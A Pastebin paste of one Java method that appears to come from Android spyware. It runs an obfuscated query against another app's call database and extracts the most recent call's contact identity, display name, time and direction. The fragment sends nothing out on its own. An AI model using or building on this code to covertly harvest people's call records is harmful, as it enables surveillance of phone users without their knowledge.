Advertisement
Guest User

Untitled

a guest
Aug 4th, 2015
160
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.17 KB | None | 0 0
  1. public static boolean getCurrentCall(GenericSqliteHelper helper, final CallInfo callInfo) {
  2. // select ca.id,identity,dispname,call_duration,cm.type,cm.start_timestamp,is_incoming from callmembers as cm join calls as ca on cm.call_db_id = ca.id order by ca.id desc limit 1
  3. String sqlQuery= M.e("select ca.id,identity,dispname,call_duration,cm.type,cm.creation_timestamp,is_incoming,ca.begin_timestamp from callmembers as cm join calls as ca on cm.call_name = ca.name order by ca.begin_timestamp desc limit 1");
  4.  
  5. RecordVisitor visitor = new RecordVisitor() {
  6.  
  7. @Override
  8. public long cursor(Cursor cursor) {
  9. callInfo.id = cursor.getInt(0);
  10. callInfo.peer = cursor.getString(1);
  11. callInfo.displayName = cursor.getString(2);
  12. int type = cursor.getInt(4);
  13. callInfo.timestamp = new Date(cursor.getLong(5));
  14.  
  15. callInfo.incoming = cursor.getInt(6) == 1;
  16. callInfo.valid = true;
  17.  
  18. if (Cfg.DEBUG) {
  19. Check.log(TAG + " (getCurrentCall), timestamp: " + cursor.getLong(5) + " -> "+ callInfo.timestamp + "begin: " + cursor.getInt(7));
  20. }
  21.  
  22. return callInfo.id;
  23. }
  24. };
  25.  
  26. helper.traverseRawQuery(sqlQuery, new String[]{}, visitor);
  27.  
  28. return callInfo.valid;
  29. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement